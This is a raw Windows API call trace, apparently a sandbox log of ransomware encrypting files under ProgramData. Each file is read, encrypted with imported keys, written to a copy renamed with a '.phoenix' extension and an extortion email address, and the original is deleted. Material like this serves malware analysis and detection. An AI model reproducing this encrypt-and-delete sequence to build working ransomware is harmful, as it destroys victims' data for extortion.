	[0225.285] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.285] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=78078) returned 1
	[0225.285] CloseHandle (hObject=0x2c4) returned 1
	[0225.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x20
	[0225.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.285] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.285] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.286] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.286] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.286] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0225.286] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.286] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x130fe, lpOverlapped=0x0) returned 1
	[0225.299] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13100, dwBufLen=0x13100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13100) returned 1
	[0225.299] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x13100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x13100, lpOverlapped=0x0) returned 1
	[0225.301] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0225.301] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.301] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0225.301] CryptDestroyKey (hKey=0x151040) returned 1
	[0225.301] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0225.301] CryptDestroyKey (hKey=0x151380) returned 1
	[0225.301] CloseHandle (hObject=0x2c4) returned 1
	[0225.301] CloseHandle (hObject=0x2e8) returned 1
	[0225.303] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 1
	[0225.304] SetEvent (hEvent=0x298) returned 1
	[0225.304] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.305] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.305] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3304) returned 1
	[0225.305] CloseHandle (hObject=0x2e8) returned 1
	[0225.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 0x20
	[0225.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.305] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.306] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.306] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.306] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0225.306] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.306] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xce8, lpOverlapped=0x0) returned 1
	[0225.307] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcf0) returned 1
	[0225.307] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xcf0, lpOverlapped=0x0) returned 1
	[0225.308] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0225.308] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.308] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90, dwBufLen=0x90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90) returned 1
	[0225.308] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0225.308] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x142, lpOverlapped=0x0) returned 1
	[0225.309] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0225.309] CloseHandle (hObject=0x2e8) returned 1
	[0225.309] CloseHandle (hObject=0x2c4) returned 1
	[0225.312] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 1
	[0225.313] SetEvent (hEvent=0x298) returned 1
	[0225.313] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.313] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.313] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3238) returned 1
	[0225.313] CloseHandle (hObject=0x2c4) returned 1
	[0225.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 0x20
	[0225.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.314] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.314] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0225.314] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.314] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151400) returned 1
	[0225.314] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.314] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xca6, lpOverlapped=0x0) returned 1
	[0225.553] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcb0, dwBufLen=0xcb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xcb0) returned 1
	[0225.553] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xcb0, lpOverlapped=0x0) returned 1
	[0225.555] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0225.555] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0225.555] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90, dwBufLen=0x90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90) returned 1
	[0225.555] CryptDestroyKey (hKey=0x151140) returned 1
	[0225.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x142, lpOverlapped=0x0) returned 1
	[0225.555] CryptDestroyKey (hKey=0x151400) returned 1
	[0225.555] CloseHandle (hObject=0x2c4) returned 1
	[0225.555] CloseHandle (hObject=0x2e8) returned 1
	[0225.557] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 1
	[0225.602] SetEvent (hEvent=0x298) returned 1
	[0225.602] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.602] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=28865) returned 1
	[0225.602] CloseHandle (hObject=0x2c0) returned 1
	[0225.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0225.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.603] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.604] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1334) returned 1
	[0225.604] CloseHandle (hObject=0x2c0) returned 1
	[0225.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0225.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.605] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.605] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1334) returned 1
	[0225.605] CloseHandle (hObject=0x2c0) returned 1
	[0225.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0225.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.606] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.620] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=11007) returned 1
	[0225.620] CloseHandle (hObject=0x2e8) returned 1
	[0225.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20
	[0225.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.621] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.621] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.621] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.621] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.621] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.675] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0225.675] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
